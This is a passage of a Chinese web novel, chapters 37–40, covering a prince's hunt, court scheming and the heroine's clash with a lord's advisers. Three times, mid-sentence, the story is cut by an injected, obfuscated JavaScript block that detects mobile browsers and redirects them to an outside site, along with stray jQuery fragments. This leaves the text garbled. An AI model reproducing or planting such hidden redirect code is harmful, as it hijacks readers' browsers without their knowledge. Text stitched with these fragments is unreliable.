刘之衍下了马,身上还带着刚才疾驰在雪中的寒气,他朝应子清走来,带着笑意:“你喜欢什么?灵鹿,还是苍鹰,我给你猎一只。”
在猎场上飞驰后的无拘无束感,如有实质一般,在他身上形成一股天然强大的气场,他看起来格外俊美。
应子清被他的强大气势一扑,莫名脸红了下:“不必。”
她给刘之衍递上一壶马奶酒,刘之衍没客气,拧开喝了:“自是要乘兴的,我看你缺个上佳的狐狸皮毛做个手笼子,给你打一只漂亮的狐狸,要火红色的,怎么样?”
猎场之中,已有衣着鲜丽的少年郎,成群结队,骑着骏马,呼喝着奔驰出栏。
这群少年郎,一看就是出自名门,他们奔腾驰骋,追兔逐鹰,好不痛快。
驮着他们的骏马,好不容易追上肥美的猎物。这群少年郎的骑艺技术有限,兼之雪地酷寒,把他们细皮嫩肉的手冻得发麻,拉不开公。或是射出的箭矢,总是瞄不准,每每让那些肥美的猎物跑了。
骏马气得直打响鼻。
少年郎倒也不在意,继续纵马追逐,只是如此丢跑几次,大家的脸色,渐渐不太好看。
却有三个灰衣少年郎,衣着朴素,骑的马也不是良驹,只是普通的枣红马。
不过,他们三位配合有加。一个眼神,一个手势,顷刻间就有人心领神会,堵死猎物的逃亡路线。另一人此呼彼应,拉开弓箭,让猎物毙命于箭下。
不到半个时辰,三个灰衣少年郎,猎下不少肥兔子和狐狸。
猎物都被他们捡起,收到一旁。箭矢还能用,他们便抽出来,放回箭筒。不能用的,也舍不得丢,和那些猎物摆在一起,准备带走,主打一个勤俭实惠。
刘之衍和应子清都来了兴趣,走过去看看他们打到的猎物。
刘之衍一看便笑了,问:“你能看出什么吗?”
应子清点头:“这些箭矢,正中猎物的嘴与喉咙,很少伤及皮毛。”
灰衣少年打猎的这一手,实在太绝,最老辣的猎手也不过如此。不知道他们想扒了皮毛,拿去卖钱,还是自己用。
鲜衣少年或许打猎不行,使坏的手段,倒是一等一的绝。
他们见灰衣少年硕果累累,而他们一群人,在猎场上四处瞎跑,空手而归,自觉面子挂不住了。有一红衣少年,突然对围场外的仆从,使了个眼色。
这群仆从不会进猎场,除非他们的主人有要求。
猎场的护栏打开了,一群仆从冲了进来,在雪地里跑。他们没有迎向自家的郎君,反而跑向那三个灰衣少年,给他们捣乱。
在这群仆从的作乱下,灰衣少年再也猎不到动物。
有个年纪最小少年,骑的马因为受到仆从的惊吓,拼命颠簸,把主人颠下来。
“三郎!”
“你没事吧!”另外两人匆匆赶来。
年纪最小的少年,摔进柔软冰冷的雪里,没受伤,立刻蹦起来给他们看看手脚:“雪厚,我没事!”
“还打什么猎!他们的仆人,专门给我们捣乱!”有一人恨得牙痒痒,“大哥,我们揍他们去!那群弱鸡,我一拳能打五个!”
“打完呢?你想过没有?”年纪最大的那人,沉着一张脸,“他们的父亲不是尚书,就是侍郎。”
“那又如何?”想打架的人咬牙切齿,“痛快一顿再说,前怕狼后怕虎,什么事都做不成!”
“够了!”年纪大的哥哥呵斥,“我看今天猎到的差不多了,回去吧!三郎,你去数数多少只!”
“哎!”被叫作三郎的少年,把身上的雪粒子,拍打干净,跑去他们放猎物的地方。
那些仆从们听了,故意把笼子开了条缝,把里面的猎狗放出来。
为了帮主人,寻找藏在深山雪林地的猎物,那群猎狗,是故意饿上几天运来的。只有饿疯了的猎狗,才会穷凶极恶地寻找猎物,不到万不得已不会用。
这群猎狗闻到血腥味,纷纷撞开虚掩的笼门,扑过去,把死掉的猎物撕咬吞食,大快朵颐。
三郎大喝一声,拼了命地跑过去,挥舞着箭矢驱赶。
一群猎狗纹丝不动,龇牙咧嘴地吠叫。
正在吃东西的猎狗,容易发狂,护食起来十分可怕。
另外灰衣少年骑着枣红马过来:“三郎,别过去!小心被咬!”
三郎转过脸,已是泪流满面,这是他们好不容易猎到的!
而猎场之中,鲜衣少年郎们纷纷哈哈大笑,挥舞着马鞭,驰骋地更加快乐猖獗。
38. 第 38 章
早在猎狗跑出笼子的那瞬,刘之衍的大氅将应子清护在怀里,连连退后数步。
群畜贪婪的咀嚼声,听得人头皮发麻。
刘之衍特意去看应子清的反应,她很平静。
“不觉得恶心吗?”刘之衍询问。
“还好,我见过比这更恶心的。”应子清非常淡定。
她看过几部有名的恐怖片,那音效和场面,可谓是集齐恶心恐怖之最。
但有时候人心,比这些残酷的场面,更让人恶心。
被叫作三郎的灰衣少年,恨得满眼是泪。
另外两名少年骑着马,也过来了。
三人束手无策,看着猎犬们大快朵颐,分食他们辛辛苦苦打回来的猎物。
走近了,应子清才看见,他们的手,布满老茧与伤痕。也不知道这三个少年平日里如何劳作,才弄成这样。
看出应子清脸上有不忍,刘之衍问:“你想管吗?”
“你能管吗?”应子清反问,今日是他行冠礼的好日子,她不确定事后会不会有麻烦。
“要管,就得管到底了。”刘之衍将手一伸,旁人拿过弓箭递给他。
应子清看刘之衍搭弓引箭,知道他百发百中,但不知道他瞄准的是什么?
白孔雀翎“嗖”地一声离弦。
下一秒,答案出来了。
红衣少年“嗷”地一嗓子,从骏马滚下来。
为了方便骑射,他们会把长发编成小辫,最后缠在头顶上做成一股总辫,那枚白孔雀翎正正穿过其间!
应子清挑了挑眉,刘之衍又在炫技!
这可比射中靶心,难得多。
红衣少年吓得面色惨白,豆大的汗珠直淌。
这枚箭矢,歪了哪怕一点,就从他脑袋穿过去了!
周遭的少年们惊叫着,下了马,跑去搀扶红衣少年。
红衣少年被人簇拥,见人多了起来,他胆子也大了,四处张望着怒骂:“谁!是谁暗算老子!站出来!爷爷我绝饶不了你!”
旁边的人面面相觑,他们知道是谁射箭,但不敢指名道姓。
有人帮红衣少年,把白孔雀翎取下来,递给他看:“你看清楚这枚箭矢,再骂也不迟,满场只有一个人能使……”
“是太子殿下……?”红衣少年愣住,他挣脱众人的手,踉跄一下,急急忙忙朝刘之衍这边跑过来。
“小的刘鸿才,拜见太子殿下……”刘鸿才跑到刘之衍面前,立刻大拜。
刘之衍没作声。
“不知小的如何得罪太子殿下,还请明示……”刘鸿才连一句平身也没得到,只好继续跪在冰天雪地里,哀哀告饶,“小的三表哥是太常寺的刘少卿,此次奔前忙后,为太子殿下操持冠礼一事。小的沾了三表哥的光,有幸前来为太子殿下庆贺。”
刘鸿才不算笨,知道跟刘少卿拉关系,为自己求情。
刘少卿前段时间忙得不可开交,冲他兢兢业业做事的份上,这份情面,多少要给。
再者,刘少卿刘鸿才都沾着个刘字,是刘氏皇族开枝散叶、散出去不知道多少远的关系了。认真论起来,和刘之衍沾亲带故。
“为何惹事?”刘之衍平平道。
这时,旁边的三个灰衣少年也听出,刘之衍在为他们主持公道,纷纷转而对他大拜。
刘鸿才不算笨,可也不算聪明。
他以为,这三个灰衣穷小子哭丧着脸,让刘之衍面子不好看了,当即心领神会道:“瞧这好好的气氛,是小的该死,惹了三个臭小子,在这鬼哭狼嚎的,在这大煞风景。小的马上把他们处理了,不让殿下心烦!”
刘鸿才说到做到,一溜烟儿跳起来,召唤他的仆人。
管事模样的男人和刘鸿才一齐过来,对着三个灰衣少年颐指气使:“是我不对,把你们打的猎物喂了狗。管家,你给算算,赔多少钱合适?”
中年男人在鲜血淋漓的雪地上,看了一圈:“回郎君的话,四五只灰兔,两三只狐狸,还有一只獐,顶破天了不到二十两。”
刘鸿才一听,这么点钱,满不在乎道:“把钱给他,快快把他们打发走,看着碍眼!”
灰衣少年中,最小的那个三郎,咬牙切齿:“这岂是钱的事?分明是你们仗势欺人!”
中年男人从衣兜里解下钱袋,数了二十两,扔到他们面前的雪地上,他笑着,低声道:“劝你们少说点,从来只有我们公子欺负人的,没有别人欺负他的。若不是有贵人做主,你们连这二十两都没有。趁早拿着钱,赶紧走吧。”
三个灰衣少年挺直了身体,没有去捡那银子,脸上满是屈辱。
三郎恨声道:“我不要你的臭钱!”
个头最高的灰衣少年,脸上的薄怒渐渐收进心底,他垂目看雪地里闪烁银光的碎银,终是屈下膝盖,把二十两捡起来。
“大哥!你咋这么没骨气!”三郎冷不丁又滚下热热的泪水。
“娘的病没好,小妹冻伤了手,请大夫、买药,哪个不要钱。”二哥一把按住三郎的脑袋,往自己怀里撞,“一文钱难倒英雄汉!别哭,你大哥不是孬种!”
刘鸿才和管事的,见事情了结,转过来对刘之衍和气笑道:“这片雪地弄脏了,小的马上去找人收拾干净,免得污了殿下的眼睛。”
三名灰衣少年拿到赔偿,没有立刻离开,他们来到刘之衍面前,齐齐跪拜感谢:“多谢太子殿下仗义执言,主持公道!”
刘之衍也没叫他们起身,而是问:“你们叫什么名字。”
“回太子殿下的话,是飞骑尉程睿德的三个儿子,程飞、程良、程霆!”程飞回答。
刘之衍沉吟:“飞骑尉?你们身手不错,你们的父亲把你们教得很好。”
程飞沉默了下,回答:“小人的父亲已经不在了。”
刘之衍了然,又问:“你们可会识字?读过几本兵书?”
程飞回答:“会的,家中有几本兵书,兵法、防御、地理之类,多有涉猎。往日小人的父亲还在的时候,会教我们读一读。”
刘之衍听他能说出名目,点头道:“今日之事,你们只得了银钱,却没得到道歉,可会怪我?”
“殿下已经为小的主持公道,我们程氏三兄弟,怎会做狼心狗肺之徒!太子殿下的大恩大德,小的没齿难忘!”程飞不解太子此话是何意,只当他们道谢的心意不够,猛地磕头,以示决心。
可刘之衍又道:“天下之事,无有顺遂。今日刘鸿才仗势欺辱你们,是他身份地位比你们高。倘若有一日,你们的身份地位比他高时,那么,你们就有机会,讨回今日的公道。”
“如何才能比他高
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14788336|152826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
啊?”程家三个少年,纷纷露出迷惘的表情。
刘之衍看着他们:“眼下,我打算组建一支虎贲骁骑。你们若有一技之长,且有一番建功立业之心,不妨择日来东宫寻我。”
处理完骊山猎场的事,天色渐渐暗了下来,应子清与刘之衍返回沐云居,漫步于雪中。
“说好的管到底,你还真把他们收揽了。”应子清悠然道,“读过兵书的飞骑尉三兄弟,必定明日就收拾行李,入了你的麾下。你这一手,用的真漂亮。”
既然能把刘鸿才吓得哆哆嗦嗦,刘之衍完全可以让刘鸿才道歉。
可是他没有,反而给三个程家兄弟一个翻身机会,让他们靠真本事发奋图强,来日找回公道。
比给他们打鸡血还厉害,他们必定怀着一腔热血,等着报答太子。
如此会收买人心,应子清心中叹服。
刘之衍淡淡一笑。
“可是,”应子清忍不住问,“我以为圣上给你的铜鱼符,你会放在一边落灰。怎么,你真打算组建虎贲骁骑?你不怕圣上是拿铜鱼符考验你吗?”
皇帝和太子,向来又信任又猜忌。
一千士兵,不足以包围皇宫,却足以包围皇帝所在的大殿。
也许庆帝正在暗中观察,刘之衍到底有没有这个胆子招兵买马。
刘之衍很平静,也很沉重的,说了这么一句话:“只有自保活下去,才有资格谈别的。”
应子清顿时哑然。
前不久,太子中毒一案,还未查出幕后真凶。
光她知道的,就有两个跳出来,想再接再厉,继续给刘之衍上套。
看来,庆帝也不是无缘无故给太子军符。
那天安景王说的“棋盘已经铺开”,到底是何意,她还没弄清楚。
这句话总让她心中发慌。
院内有陌生的良驹,停在那里刨蹄。
两人一进门,果然见有客人在花厅里喝茶。
大理寺卿崔玉陵亲自来了一趟,他来向刘之衍,汇报一下查案的进度。
“这些天,大理寺把当日在冬阳暖醴宴上的,零零碎碎,查到好些手脚不干净的蟊贼。”崔玉陵坐姿端正,眉心紧皱,“可那些都不太重要,与此案无关。”
应子清泡了杯新茶,递给刘之衍,他认真喝了口,沉稳道:“可是进展不佳?”
“对,太子殿下明察。”崔玉陵颇有些垂头丧气。
“不妨再把范围扩大一些。”刘之衍黑沉的双眸,望着崔玉陵,建议道,“我会给你一枚东宫的铜符,除大明宫以外,包括东宫,你可自由出入,来去无阻。”
张泰耀应声而出,把准备好的铜符,递给崔玉陵。
崔玉陵面色凝重地接过,眼睛却看着刘之衍,他似乎被刘之衍点透什么,又不敢往深了想。
怕自己会错意,崔玉陵旁敲侧击道:“包括东宫?”
“包括东宫。”刘之衍极为平淡地答了一声。
应子清却在回想,自从东宫巫蛊案后,他们先后去碧梧宫与骊山,那座东宫的模样,早已经模糊。
但她还记得,第一次去东宫时,心里留下深深的惊奇和压抑。
那并非是一座安宁和睦的宫殿。
刘之衍要把大理寺往东宫引,难道那里,埋藏了许多秘密?
39. 第 39 章
茶室,灼灼红梅斜斜逸出,暗香浮动。
有一青衫少年,跪坐其间。
少年用素色方巾束着幞头,面庞白皙,长得异常俊美,眉眼间带着一团少年气。
他长了一双小狗似的大眼睛,眼尾微微下垂,天生自带一股情绪,像含着嗔怒,又像是求取怜惜的可怜相。一双眼眸,瞳色极浅,像泡久了的茶,泛着温润素淡的琥珀色。
少年在这茶室,呆了已有些时间,桌案上放的茶盏,茶水已见底。
他好奇地看着旁边的骨瓷碟,盛的单笼金乳酥,做得像只含苞待放的花骨朵。
门口,屏息敛神的侍从,如同木塑,对里面的人仿佛一无所觉。
少年左右看看,想了许久,终于两指捏起金乳酥,放进嘴里。
突然有说话声,从门口传进来。
两三步间,安景王与谋士姜泽语一同进门。
少年吓了一跳,来不及吞咽,酥酪卡进嗓子眼,猛地咳嗽起来。
安景王视线触及地上的糕点碎屑,以及少年狼狈的模样,面露不快。
早听说此人出身不好,上不得台面,今日一见果然如此,他从未见过哪家贵公子上王府作客,馋那一口糕点吃。
姜泽语清了清嗓子,帮忙打圆场:“是窦家的小子,窦知微吧?什么时候来的?”
“一个时辰前。”窦知微好不容易找到声音。
姜泽语顿了顿,暗暗想到,这小子真不会说话,难道他在暗示他等的太久?
窦知微连忙抖掉身上的糕点残渣,站起身,安景王行礼。
安景王摆摆手,示意他坐下:“我与你家长辈是旧相识,我也把你看作子侄一般,不必客气。”
窦知微点了点头,在原来的位置盘膝坐下。
来王府之前,窦知微跟着窦靖的正妻孙水莲,一齐谒见窦皇后。只因为他是外客,皇后也没有召见他的意思,最后没见到皇后的金面。
这一趟本是窦靖的意思,他希望这个儿子到窦皇后面前逛逛,露个面,算是见过这个人了。
中书舍人的任命在即,窦家上下,除了几个日理万机的窦大人,其他人看不出使力的样子,有些袖手旁观的意思。
偏偏那几位窦大人忙得脚不沾地,窦靖带着窦知微厚着脸皮上门,但几次都没见到人,便出了这个主意。
结果窦知微仍然没见到窦皇后。
不过临走时,窦皇后却安排了一个人出来,让这个人带着窦知微上安景王王府。
那个人俨然是松云雅集上,与安景王私下会谈的神秘人,柴高玄柴公公。
柴高玄话不多,一路上对窦知微客客气气,可惜也没过多透露什么。若是无人引见,窦知微进不了王府大门,也见不了安景王本人。
柴高玄将窦知微带进安景王王府,对他说了一句“若有困难,可与王爷相商”,便自行告退了。
忙活了一上午,窦知微饿得不行,忍不住馋那口糕点。
谁知道被安景王与他的谋士,抓了个正着。
侍女端来氤氲的茶水,放在几人桌案前,又撤去先前空掉的茶盏。
新茶的香气,清雅极了。窦知微还是第一次喝过这么好的茶,他抿了抿嘴唇,究竟没再去碰那茶盏。
安景王沉吟不语,打量眼前的窦家小子。
他见过谢言昭,那是何等光芒耀眼的世家公子,窦知微和他一比,尘埃一样灰头土脸。虽说窦知微长得眉清目秀,可那双圆滚滚的小狗眼,在他一个成年男人的眼里,就是稚气未脱之相。
窦皇后为什么特意着柴高玄领着窦知微,内里的意思,安景王明白。
吏部铨选,是一个有操作性的选拔标准,除了考核人品家世,道德品德以外,重要公卿贵族或是德高望重的人写的荐举书,也是一个增加入选的可能。
既然安景王愿意与窦家合作,窦皇后希望,安景王给他们家的小子,写这样一封荐举书,帮窦知微拿到中书舍人的位置。
安景王见过了窦知微,心里就不大情愿了,要知道荐举书的末尾,要落下他的大名。可不是什么人,都能得到他的保举,至少要被他看得上。
安景王不大看得上窦知微,他觉得不合适。
写这封荐举书,是卖人情给窦家,但他随时都能找到机会回报窦家,不急于这一时半刻。
于是安景王微微笑着,顾左右而言他,随口问道:“不知道贤侄到我这里,来做什么的?”
窦知微何等绝顶聪明的人物,他知道窦皇后是什么意思,也清楚,安景王这么一开口,是不想帮他写荐举书。
可能经常被窦家人看不起,窦知微失望得多了,也就习惯了。相比起来,安景王是外人,又是堂堂王爷,人家不愿意搭把手帮他,没什么稀奇。
窦知微微微垂着双眸:“晚辈承蒙皇后娘娘嘱咐,特来拜见王爷。晚辈初涉世事,诸多规矩不懂,还望王爷不吝赐教,多多提点。”
安景王意外地挑了眉,心想,这小子是有股聪明劲儿,能看出他的意思,所以也不提什么荐举书。
这么一来一去,荐举书无人再提。
安景王不用麻烦,心情不错,抚掌道:“好说好说,若是贤侄将来遇到什么疑问,直接来我即可。我叫王府的兵丁记下你的名字,不必通报,直接进来。”
安景王又招招手,叫来侍女:“贤侄喜欢吃的那几味糕点,去打包装好,叫他拿上。”
侍女微笑答应,很快送来几包油纸精心包好的糕点:“都是些精巧玩意儿,公子拿着吃着玩吧。”
窦知微有些惊讶,他确实难见好东西。他亲娘死的早,养在窦靖小妾的名下,那小妾对他并不在意,因此他小时候没人照顾没人管,经常饿得发昏,有贪吃的小毛病。
接过侍女送来糕点,窦知微抱在怀里,抬起眼,对安景王说:“王爷这里的茶叶好香,连茶室也是雕栏玉砌,雍容典雅。想必皇宫比这里,也要差一些。”
安景王喜欢别人夸奖他,尤其是夸他品味好,他笑道:“闲暇之时的小爱好,不值得什么。”
可是窦知微又说:“长安城是全天下最富足的城市,城中的百姓衣丰食足。可这外面的大雪,下了有十多天,路边有了冻死骨。可王爷这里温暖宜人,可见烧的炭火不仅上等,而且富实。”
安景王听得这番话不对,笑容淡去:“贤侄,你想说什么?”
窦知微点了点头:“王爷身份尊崇无比,日常所用之物,无一不是上等品。据晚辈所知,王爷的花销,皆是由玉川郡这块丰饶的封地供奉的。但今年的大雪,几乎成了灾,玉川郡也冻伤无数。王爷吃穿仍是如此豪奢,钱帛从哪里来?王爷不觉得惹人猜疑吗?”
姜泽语立刻呵斥:“竖子大胆!竟敢妄议王爷!”
安景王渐渐听得认真,伸手阻止姜泽语,面露严肃:“等他说完,贤侄,你这是什么意思?”
窦知微垂首道:“若是王爷信得过晚辈,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14799131|152826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不如派能干的属下,去一趟玉川郡。我猜,或有不喜欢王爷的人,在附近收集王爷的消息,拟成奏折,告王爷的御状,也说不定。”
安景王若有所思:“多谢贤侄的一番提醒。”
“晚辈多谢王爷的糕点。”窦知微抱着糕点,起身告退。
走到门口,窦知微忽尔站停脚步,转过身来:“长安城中近日有一件婚事闹得沸沸扬扬,人们都说,谢家女与太子好事将近。可是依我所看,要能成,他们早就订下婚事。因此,不如王爷在这个时候,让世子向谢家女求亲。说不定,日后谢家能助王爷一臂之力。”
窦知微掷下这条建议,躬身告辞了。
姜泽语与安景王在茶室,思虑许久。
“听说,窦知微素有‘神机妙算’的名声,我听他说得头头是道,颇有道理。”安景王问,“你怎么看?”
姜泽语的脸色不大好看。
他这个谋士岂能承认,这些话,他都没想到。仅仅只见了一面,这乳臭未干的臭小子,主意看法,会比自己更高明?
姜泽语皱眉:“王爷,你没听他提到谢家女的事?我看,他是怕谢言昭抢了他的中书舍人的位置,想让王爷帮他,让谢家人吃瘪。”
“这倒是一层。”安景王点头。
姜泽语想了想,又道:“而且我也听说,世子并不喜欢谢家女。世子是何等金贵的人物,婚姻大事岂是儿戏?没道理因为一个小子的话,乱点鸳鸯谱,弄得世子的后院鸡飞狗跳。眼下不是给世子选世子妃的时候,不如等到来日,王爷或是世子,看中哪一家贵女,再说也不迟。”
安景王也不太相信,一个十七八岁的少年,能有多么独到精妙的见解?
姜泽语在他手下做了十多年的谋士,最了解安景王王府的情况,安景王自然更重视姜泽语的看法。
安景王略微一思索:“世子妃的事,可以按下不提。但他说玉川郡的事,你着人跑一趟。”
姜泽语心中不快,口中仍然称是。
不过,姜泽语转头便忘了,迟了快五天,才想起来,匆匆命人去玉川郡探查。
窦知微抱着糕点,低头走路,一个没注意,在王府门口,与一位头戴草笠的女子撞上。
那女子“哎”了声,抬起草笠遮住的脸,看了过来。
少女脸蛋小巧,眼眸清亮澄澈,看人时带着一股又凉又清明的意味。明明神色透着疏离,却又让人忍不住生出逆反心理,想要靠近她。
只是,这少女举止间,有贵女的气质。
窦家的千金们,个个趾高气扬,得理不饶人。她们眼神和阴阳怪气的话,小刀一样,总要割他一下。窦知微被窦家千金折腾次数多了,一见这种贵女,心中怵得不行。
窦知微眼睫毛垂下,连忙道歉:“抱歉。”
应子清也好奇,这少年鬼头鬼脑的抱着东西,路都舍不得看了,那手里到底是什么金贵东西。
听到他礼貌的道歉,应子清又看见他那双小狗眼,尽管主人没这个意思,可无形间,好像流露出有可怜的、讨饶求情模样,她心里不由生出几分好感。
应子清冲他温和笑笑:“没事。”
看着她又柔又漂亮的笑眼,窦知微愣住。
还从来没有一个千金,愿意对他微笑。
窦知微心中一慌,眼神闪烁着移开,忍不住再次道歉:“抱歉。”
话还没说完,一溜烟跑远了。
留下一头雾水的应子清。
40. 第 40 章
冠礼是在骊山举办,还未告祭列祖列宗,刘之衍在一众侍卫的护送下,去了家庙。
一趟来回,要费不少时日。
应子清趁这个空档,亲自去了趟安景王的王府。
刚到王府大门口,撞到面容可爱的少年,对方很快跑掉了。
应子清重新戴好草笠,向门口的侍卫出示凭证,一个写有“安景王”的翠绿玉石符节。
侍卫一看,立刻把腰间的刀把扶开,以示尊敬:“不知是哪位大人驾到,有失远迎!请随我来。”
应子清把玩手中温润玉石,心想,安景王给她的符节,看来不是寻常之物,一亮出来,受到的待遇很高。
侍卫亲自把应子清领进一间茶室。
应子清刚刚坐下,侍女捧着食案进来,送了杯茶水点心。她对侍女说了声谢谢,把那侍女吓了一跳,连连说不敢。
应子清改不了这习惯,偶尔嘴快,也会把香巧和语兰惊一惊。她心里觉得尴尬,只好端起茶水,默默喝着。
没等到安景王,倒是等来了姜泽语,与另外两个头戴黑毡帽,身穿圆领袍衫的,书生模样的男人。
“王爷有紧要的事情,特地遣我与二位先生,过来招待阁下。”姜泽语抱拳一礼。
应子清此次过来,是受安景王召唤。这么久了,估计想询问,有没有找到改变刘之衍的人。应子清想打听那句“棋盘已经铺开”是何意,因而来了。
但她不知道如何解释,正觉得犯愁,听得姜泽语如此说,她问:“王爷何时有空?”
“这可就说不出清楚了。”姜泽语与另外两人,在她对面坐下。
应子清自己呆着就挺好,哪里需要旁人陪伴,她客气笑笑:“姜先生,不劳费心,我自便即可。”
姜泽语同样端起茶碗,笑呵呵道:“灵清子,这是在怕什么?有我们三位先生陪着,难道灵清子觉得不够?”
应子清听着这话,感觉不对,像藏着刺。
好端端的,她哪里得罪姜泽语?
难道安景王吩咐他过来作陪,让他感觉不爽?
应子清收起笑意,微微抿唇:“没有的事,只是怕劳烦了姜先生。”
“劳烦说不上。”姜泽语好整以暇,喝口茶水放在桌案上,“女子做到灵清子这个地步,想必不容易。”
另一书生接话,眉眼间尽是轻薄之意:“读了两本书,认得几个字,便自以为高明……”
又一靛青儒衫插嘴道:“不怪她们,毕竟比起目不识丁的女子,她们略读过诗书。不过,仅限于闺阁之中罢了,要到学堂朝堂,会闹笑话的。灵清子,你说是吧?”
“……”应子清无语,合着是一个同事间排挤茶话会。
这些谋士门客们,看她不顺眼。
“灵清子看着年岁不大,可我听说,宫女二十五岁要放出宫。你剩下的时间,是不是不多了?可有想过将来如何?”姜泽语状似关心,“这么努力,是不是想多挣点本钱,以后好嫁人?”
应子清心态平稳:“做到我这个程度,的确不容易,毕竟我有五品官身在。诸位先生学识渊博,必定是淡泊名利,对官场不屑一顾,不愿同流合污……所以在王府里谋职?”
最后一句话,刺得靛青儒衫的书生,眼皮直抽。
如果他们真的高风亮节,还谋什么职!
分明是他们科举考不过,连乡试院试也没有实力,评不上芝麻小官,才来王府做谋士。
这么容易破防,为什么非要嘴碎,但应子清心中微叹,打人不打脸,得饶人处且饶人。
与这三人口舌撕扯,不是明智之举。
应子清站起身,草笠微垂,遮住半张脸:“今日来的不巧,既然王爷有急事,我宫中亦有事,耽误不得,得先走了。烦请告诉王爷,改日我再来拜访,在下先告辞。”
应子清施了一礼,片刻都不停留,直接走了。
出了王府大门,应子清回头,看了眼王府金光闪闪的牌匾,心里嘀咕,再次来这王府,她仍然觉得贵不可言。
想到一路上琼楼金阙,富丽堂皇,这安景王太有钱了!
应子清没在这个点上多想。
路上,几个商人拥着皮毛,驾着驴车,木轮在雪路上,碾出长长的车辙。
下着雪,一些行路的百姓,在腿部绑了裹腿,小心翼翼地走着。
应子清拢了拢衣襟,还有些气闷。
安景王的那些谋士,明显不喜欢她。
她虽然不把这些恶言放在心上,不过她心中不由打鼓,这到底是安景王的意思,还是谋士之间的中伤?姜泽语这番轻慢之语,让她觉得不上道,档次也太低了。
之前选择安景王,是寻求明主,而非昏君。
党同伐异,穷奢极欲,都不是明君的标志。
应子清摇了摇头,找到那匹绯云骢,抖开大氅上了马,趁着雪,转道回了沐云居。
刘晋王室的宗庙,建在一座风水极佳的山林之间。
一队兵马疾驰,从山道下来。
只听一声尖利的鹰啸。
模样凶猛的白鹰,在空中盘旋。
尖锐的鹰眼盯着那队人马中的领头人,翅膀一振,在空中掠了半圈,突然向下俯冲,冲势如风。
刘之衍一抬头,稍稍放慢骏马的速度,将手臂一抬。
白鹰尖锐的利爪,稳稳抓住刘之衍的臂膀,抖抖翅膀后收起。
从脚脖子取下通信的纸条。
刘之衍读了后,撕碎。
“殿下,可是有急事?”旁边一侍卫询问。
刘之衍没回答,眺望天际边的阴云。
半个月前,他派影枭与一众人去安景王的封地玉川郡,打探消息。
期间收获不少内容。
可就在影枭即将撤退之时,突然出现一批王府卫兵,在玉川郡上大肆巡防,盘查可疑人员。
影枭一行人,扮作游人脚商过去的,正是盘查的重点。
毫无准备、避之不及的情况下,影枭与王府亲兵,仍是起了冲突。
东宫影卫死了几个,影枭与其他人虽然逃了,也受了重伤。
白鹰送来的纸条上,寥寥数语,说的就是此事。
刘之衍黑幽冰冷的眼眸,猝然闪过几分凶悍杀意。
他派出这一趟,走的是出其不意的棋路。
不料安景王如此敏锐,起了疑心,派亲兵去封地巡查?
若是如此,安景王此人,不可小觑。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14809191|152826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>敌人强大,不是好事,刘之衍心情沉重,以后与此人对阵,他不得不更加细心谨慎。
回到沐云居,最后的天光沉入地平线,夜色浓重,殿内漆彩的木格子窗户,透出辉煌灯火。
刘之衍下了马,入门前,将大氅上的雪抖落。
晚间吃饭,应子清给刘之衍换了身家常的衣服,两人从里间出来。
“我听马夫说,你今天牵了绯云骢出去了?”刘之衍个头高,走在前面撩起帘子。
“……”应子清不仅出去了,去的还是安景王府,这让她怎么说,她含糊其辞,“在屋里呆腻了,随便逛了逛。”
“去哪了?”刘之衍随口问,“可有看到喜欢的东西?”
“就、就随便逛逛。”应子清一时编不出。
“哦?”刘之衍来了好奇,“去了山上,还是下了山?”
应子清不防他步步紧追,一时抵触:“问那么清楚干什么。”
刘之衍睨她,平静道:“难道你藏了秘密,这么简单的事,不能说?”
应子清闪烁着眼睛:“去了山上,纵马跑了一圈,也没什么好看的,后来下着雪,就回来了。”
刘之衍明显不信:“刚才为什么不说?现在又说了,可见是临时编的。”
应子清:“……”
“等你们好久了。”香巧和语兰欢欢喜喜迎了上来,一左一右,抱住应子清的手往厅里走,两人的话自然断了。
两人叽叽喳喳,说今天拉了张红漆桌,太后给东宫赐了炙羊肉和酪浆,晚上厨房新做了蒸饼,她们可以美美地享用。下雪天里,吃一顿热乎乎的饱饭是最舒服的。
不过应子清没吃上饭,被张泰耀叫过去,说刘之衍要她伺候他吃饭。
以为刘之衍要接刚才的话头,他却说:“过段时间,我们要忙起来了。”
今天太后还给东宫送了瓶葡萄酒,应子清捧了錾花金执壶瓶,给刘之衍掐丝团花纹金杯,倒上漂亮的玫瑰红酒液:“怎么?”
刘之衍端起来,递给她:“要不要润润?”
“不要。”应子清无事不爱喝酒。
刘之衍闲闲道:“焉耆来的,今年刚上的贡品,太后和父皇那里不多,连我也没有。太后是从她的份额里分给我的。”
“……”应子清被他说得好奇,接过来饮了满杯。
刘之衍问:“好喝吗?”
“凑合。”
